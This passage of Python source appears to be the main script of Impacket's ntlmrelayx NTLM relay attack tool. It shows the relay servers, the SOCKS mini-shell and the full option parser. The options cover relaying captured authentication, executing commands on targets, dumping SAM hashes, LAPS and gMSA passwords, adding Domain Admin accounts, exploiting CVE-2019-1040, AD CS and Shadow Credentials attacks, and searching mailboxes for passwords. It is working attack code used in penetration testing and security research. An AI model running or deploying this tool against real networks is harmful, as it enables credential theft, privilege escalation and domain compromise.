TargetsFileWatcher 55 | from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS 56 | 57 | RELAY_SERVERS = [] 58 | 59 | class MiniShell(cmd.Cmd): 60 | def __init__(self, relayConfig, threads): 61 | cmd.Cmd.__init__(self) 62 | 63 | self.prompt = 'ntlmrelayx> ' 64 | self.tid = None 65 | self.relayConfig = relayConfig 66 | self.intro = 'Type help for list of commands' 67 | self.relayThreads = threads 68 | self.serversRunning = True 69 | 70 | @staticmethod 71 | def printTable(items, header): 72 | colLen = [] 73 | for i, col in enumerate(header): 74 | rowMaxLen = max([len(row[i]) for row in items]) 75 | colLen.append(max(rowMaxLen, len(col))) 76 | 77 | outputFormat = ' '.join(['{%d:%ds} ' % (num, width) for num, width in enumerate(colLen)]) 78 | 79 | # Print header 80 | print(outputFormat.format(*header)) 81 | print(' '.join(['-' * itemLen for itemLen in colLen])) 82 | 83 | # And now the rows 84 | for row in items: 85 | print(outputFormat.format(*row)) 86 | 87 | def emptyline(self): 88 | pass 89 | 90 | def do_targets(self, line): 91 | for url in self.relayConfig.target.originalTargets: 92 | print(url.geturl()) 93 | return 94 | 95 | def do_finished_attacks(self, line): 96 | for url in self.relayConfig.target.finishedAttacks: 97 | print (url.geturl()) 98 | return 99 | 100 | def do_socks(self, line): 101 | headers = ["Protocol", "Target", "Username", "AdminStatus", "Port"] 102 | url = "http://localhost:9090/ntlmrelayx/api/v1.0/relays" 103 | try: 104 | proxy_handler = ProxyHandler({}) 105 | opener = build_opener(proxy_handler) 106 | response = Request(url) 107 | r = opener.open(response) 108 | result = r.read() 109 | items = json.loads(result) 110 | except Exception as e: 111 | logging.error("ERROR: %s" % str(e)) 112 | else: 113 | if len(items) > 0: 114 | self.printTable(items, header=headers) 115 | else: 116 | logging.info('No Relays Available!') 117 | 118 | def do_startservers(self, line): 119 | if not self.serversRunning: 120 | start_servers(options, self.relayThreads) 121 | self.serversRunning = True 122 | logging.info('Relay servers started') 123 | else: 124 | logging.error('Relay servers are already running!') 125 | 126 | def do_stopservers(self, line): 127 | if self.serversRunning: 128 | stop_servers(self.relayThreads) 129 | self.serversRunning = False 130 | logging.info('Relay servers stopped') 131 | else: 132 | logging.error('Relay servers are already stopped!') 133 | 134 | def do_exit(self, line): 135 | print("Shutting down, please wait!") 136 | return True 137 | 138 | def do_EOF(self, line): 139 | return self.do_exit(line) 140 | 141 | def start_servers(options, threads): 142 | for server in RELAY_SERVERS: 143 | #Set up config 144 | c = NTLMRelayxConfig() 145 | c.setProtocolClients(PROTOCOL_CLIENTS) 146 | c.setRunSocks(options.socks, socksServer) 147 | c.setTargets(targetSystem) 148 | c.setExeFile(options.e) 149 | c.setCommand(options.c) 150 | c.setEnumLocalAdmins(options.enum_local_admins) 151 | c.setDisableMulti(options.no_multirelay) 152 | c.setEncoding(codec) 153 | c.setMode(mode) 154 | c.setAttacks(PROTOCOL_ATTACKS) 155 | c.setLootdir(options.lootdir) 156 | c.setOutputFile(options.output_file) 157 | c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid) 158 | c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port) 159 | c.setMSSQLOptions(options.query) 160 | c.setInteractive(options.interactive) 161 | c.setIMAPOptions(options.keyword, options.mailbox, options.all, options.imap_max) 162 | c.setIPv6(options.ipv6) 163 | c.setWpadOptions(options.wpad_host, options.wpad_auth_num) 164 | c.setSMB2Support(options.smb2support) 165 | c.setSMBChallenge(options.ntlmchallenge) 166 | c.setInterfaceIp(options.interface_ip) 167 | c.setExploitOptions(options.remove_mic, options.remove_target) 168 | c.setWebDAVOptions(options.serve_image) 169 | c.setIsADCSAttack(options.adcs) 170 | c.setADCSOptions(options.template) 171 | c.setIsShadowCredentialsAttack(options.shadow_credentials) 172 | c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, 173 | options.cert_outfile_path) 174 | 175 | c.setAltName(options.altname) 176 | 177 | #If the redirect option is set, configure the HTTP server to redirect targets to SMB 178 | if server is HTTPRelayServer and options.r is not None: 179 | c.setMode('REDIRECT') 180 | c.setRedirectHost(options.r) 181 | 182 | #Use target randomization if configured and the server is not SMB 183 | if server is not SMBRelayServer and options.random: 184 | c.setRandomTargets(True) 185 | 186 | if server is HTTPRelayServer: 187 | c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain) 188 | for port in options.http_port: 189 | c.setListeningPort(port) 190 | s = server(c) 191 | s.start() 192 | threads.add(s) 193 | sleep(0.1) 194 | continue 195 | 196 | elif server is SMBRelayServer: 197 | c.setListeningPort(options.smb_port) 198 | elif server is WCFRelayServer: 199 | c.setListeningPort(options.wcf_port) 200 | elif server is RAWRelayServer: 201 | c.setListeningPort(options.raw_port) 202 | 203 | s = server(c) 204 | s.start() 205 | threads.add(s) 206 | return c 207 | 208 | def stop_servers(threads): 209 | todelete = [] 210 | for thread in threads: 211 | if isinstance(thread, tuple(RELAY_SERVERS)): 212 | thread.server.shutdown() 213 | todelete.append(thread) 214 | # Now remove threads from the set 215 | for thread in todelete: 216 | threads.remove(thread) 217 | del thread 218 | 219 | # Process command-line arguments. 220 | if __name__ == '__main__': 221 | 222 | print(version.BANNER) 223 | #Parse arguments 224 | parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will " 225 | "try to relay that connection to specified target(s) system or the original client") 226 | parser._optionals.title = "Main options" 227 | 228 | #Main arguments 229 | parser.add_argument("-h","--help", action="help", help='show this help message and exit') 230 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 231 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 232 | parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help="Target to relay the credentials to, " 233 | "can be an IP, hostname or URL like domain\\username@host:port (domain\\username and port " 234 | "are optional, and don't forget to escape the '\\'). If unspecified, it will relay back " 235 | "to the client')") 236 | parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or ' 237 | 'full URL, one per line') 238 | parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list ' 239 | 'automatically (only valid with -tf)') 240 | parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient, LDAP console or SQL shell instead' 241 | 'of executing a command after a successful relay. This console will listen locally on a ' 242 | ' tcp port and can be reached with for example netcat.') 243 | 244 | # Interface address specification 245 | parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to ' 246 | 'bind SMB and HTTP servers',default='') 247 | 248 | serversoptions = parser.add_argument_group() 249 | serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server') 250 | serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server') 251 | serversoptions.add_argument('--no-wcf-server', action='store_true', help='Disables the WCF server') 252 | serversoptions.add_argument('--no-raw-server', action='store_true', help='Disables the RAW server') 253 | 254 | parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445) 255 | parser.add_argument('--http-port', help='Port(s) to listen on HTTP server. Can specify multiple ports by separating them with `,`, and ranges with `-`. Ex: `80,8000-8010`', default="80") 256 | parser.add_argument('--wcf-port', type=int, help='Port to listen on wcf server', default=9389) # ADWS 257 | parser.add_argument('--raw-port', type=int, help='Port to listen on raw server', default=6666) 258 | 259 | parser.add_argument('--no-multirelay', action="store_true", required=False, help='If set, disable multi-host relay (SMB and HTTP servers)') 260 | parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection') 261 | parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER') 262 | parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot ' 263 | 'directory in which gathered loot such as SAM dumps will be stored (default: current directory).') 264 | parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes ' 265 | 'will be added for ntlm and ntlmv2') 266 | parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default ' 267 | '"%s"). If errors are detected, run chcp.com at the target, ' 268 | 'map the result with ' 269 | 'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute ntlmrelayx.py ' 270 | 'again with -codec and the corresponding codec ' % sys.getdefaultencoding()) 271 | parser.add_argument('-smb2support', action="store_true", default=False, help='SMB2 Support') 272 | parser.add_argument('-ntlmchallenge', action="store", default=None, help='Specifies the NTLM server challenge used by the ' 273 | 'SMB Server (16 hex bytes long. eg: 1122334455667788)') 274 | parser.add_argument('-socks', action='store_true', default=False, 275 | help='Launch a SOCKS proxy for the connection relayed') 276 | parser.add_argument('-wh','--wpad-host', action='store',help='Enable serving a WPAD file for Proxy Authentication attack, ' 277 | 'setting the proxy host to the one supplied.') 278 | parser.add_argument('-wa','--wpad-auth-num', action='store', type=int, default=1, help='Prompt for authentication N times for clients without MS16-077 installed ' 279 | 'before serving a WPAD file. (default=1)') 280 | parser.add_argument('-6','--ipv6', action='store_true',help='Listen on both IPv6 and IPv4') 281 | parser.add_argument('--remove-mic', action='store_true',help='Remove MIC (exploit CVE-2019-1040)') 282 | parser.add_argument('--serve-image', action='store',help='local path of the image that will we returned to clients') 283 | parser.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on ' 284 | 'target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be' 285 | ' in the same directory). For RPC no output will be provided.') 286 | 287 | #SMB arguments 288 | smboptions = parser.add_argument_group("SMB client options") 289 | 290 | smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. ' 291 | 'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)') 292 | smboptions.add_argument('--enum-local-admins', action='store_true', required=False, help='If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary)') 293 | 294 | #RPC arguments 295 | rpcoptions = parser.add_argument_group("RPC client options") 296 | rpcoptions.add_argument('-rpc-mode', choices=["TSCH"], default="TSCH", help='Protocol to attack, only TSCH supported') 297 | rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes') 298 | rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]', 299 | help='Use this credential to authenticate to SMB (low-privilege account)') 300 | rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar="LMHASH:NTHASH") 301 | rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB') 302 | 303 | #MSSQL arguments 304 | mssqloptions = parser.add_argument_group("MSSQL client options") 305 | mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute' 306 | '(can specify multiple)') 307 | 308 | #HTTPS options 309 | httpoptions = parser.add_argument_group("HTTP options") 310 | httpoptions.add_argument('-machine-account', action='store', required=False, 311 | help='Domain machine account to use when interacting with the domain to grab a session key for ' 312 | 'signing, format is domain/machine_name') 313 | httpoptions.add_argument('-machine-hashes', action="store", metavar="LMHASH:NTHASH", 314 | help='Domain machine hashes, format is LMHASH:NTHASH') 315 | httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') 316 | httpoptions.add_argument('-remove-target', action='store_true', default=False, 317 | help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') 318 | 319 | #LDAP options 320 | ldapoptions = parser.add_argument_group("LDAP client options") 321 | ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information') 322 | ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin') 323 | ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks') 324 | ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks') 325 | ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one') 326 | ldapoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account') 327 | ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account') 328 | ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name') 329 | ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user') 330 | ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') 331 | ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') 332 | 333 | #IMAP options 334 | imapoptions = parser.add_argument_group("IMAP client options") 335 | imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. ' 336 | 'If not specified, will search for mails containing "password"') 337 | imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX') 338 | imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, ' 339 | 'dump all emails') 340 | imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump ' 341 | '(0 = unlimited, default: no limit)') 342 | 343 | # AD CS options 344 | adcsoptions = parser.add_argument_group("AD CS attack options") 345 | adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack') 346 | adcsoptions.add_argument('--template', action='store', metavar="TEMPLATE", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`') 347 | adcsoptions.add_argument('--altname', action='store', metavar="ALTNAME", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.') 348 | 349 | # Shadow Credentials attack options 350 | shadowcredentials = parser.add_argument_group("Shadow Credentials attack options") 351 | shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False, 352 | help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)') 353 | shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from') 354 | shadowcredentials.add_argument('--pfx-password', action='store', required=False, 355 | help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)') 356 | shadowcredentials.add_argument('--export-type', action='store', required=False, choices=["PEM", "PFX"], type=lambda choice: choice.upper(), default="PFX", 357 | help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') 358 | shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') 359 | 360 | try: 361 | options = parser.parse_args() 362 | except Exception as e: 363 | logging.error(str(e)) 364 | sys.exit(1) 365 | 366 | if options.rpc_use_smb and not options.auth_smb: 367 | logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") 368 | sys.exit(1) 369 | 370 | # Init the example's logger theme 371 | logger.init(options.ts) 372 | 373 | if options.debug is True: 374 | logging.getLogger().setLevel(logging.DEBUG) 375 | # Print the Library's installation path 376 | logging.debug(version.getInstallationPath()) 377 | else: 378 | logging.getLogger().setLevel(logging.INFO) 379 | logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) 380 | 381 | # Let's register the protocol clients we have 382 | # ToDo: Do this better somehow 383 | from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS 384 | from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS 385 | 386 | 387 | if options.codec is not None: 388 | codec = options.codec 389 | else: 390 | codec = sys.getdefaultencoding() 391 | 392 | if options.target is not None: 393 | logging.info("Running in relay mode to single host") 394 | mode = 'RELAY' 395 | targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) 396 | # Disabling multirelay feature (Single host + general candidate) 397 | if targetSystem.generalCandidates: 398 | options.no_multirelay = True 399 | else: 400 | if options.tf is not None: 401 | #Targetfile specified 402 | logging.info("Running in relay mode to hosts in targetfile") 403 | targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random) 404 | mode = 'RELAY' 405 | else: 406 | logging.info("Running in reflection mode") 407 | targetSystem = None 408 | mode = 'REFLECTION' 409 | 410 | if not options.no_smb_server: 411 | RELAY_SERVERS.append(SMBRelayServer) 412 | 413 | if not options.no_http_server: 414 | RELAY_SERVERS.append(HTTPRelayServer) 415 | try: 416 | options.http_port = parse_listening_ports(options.http_port) 417 | except ValueError: 418 | logging.error("Incorrect specification of port range for HTTP server") 419 | sys.exit(1) 420 | 421 | if options.r is not None: 422 | logging.info("Running HTTP server in redirect mode") 423 | 424 | if not options.no_wcf_server: 425 | RELAY_SERVERS.append(WCFRelayServer) 426 | 427 | if not options.no_raw_server: 428 | RELAY_SERVERS.append(RAWRelayServer) 429 | 430 | if targetSystem is not None and options.w: 431 | watchthread = TargetsFileWatcher(targetSystem) 432 | watchthread.start() 433 | 434 | threads = set() 435 | socksServer = None 436 | if options.socks is True: 437 | # Start a SOCKS proxy in the background 438 | socksServer = SOCKS() 439 | socksServer.daemon_threads = True 440 | socks_thread = Thread(target=socksServer.serve_forever) 441 | socks_thread.daemon = True 442 | socks_thread.start() 443 | threads.add(socks_thread) 444 | 445 | c = start_servers(options, threads) 446 | 447 | print("") 448 | logging.info("Servers started, waiting for connections") 449 | try: 450 | if options.socks: 451 | shell = MiniShell(c, threads) 452 | shell.cmdloop() 453 | else: 454 | sys.stdin.read() 455 | except KeyboardInterrupt: 456 | pass 457 | else: 458 | pass 459 | 460 | if options.socks is True: 461 | socksServer.shutdown() 462 | del socksServer 463 | 464 | for s in threads: 465 | del s 466 | 467 | sys.exit(0) 468 | --------------------------------------------------------------------------------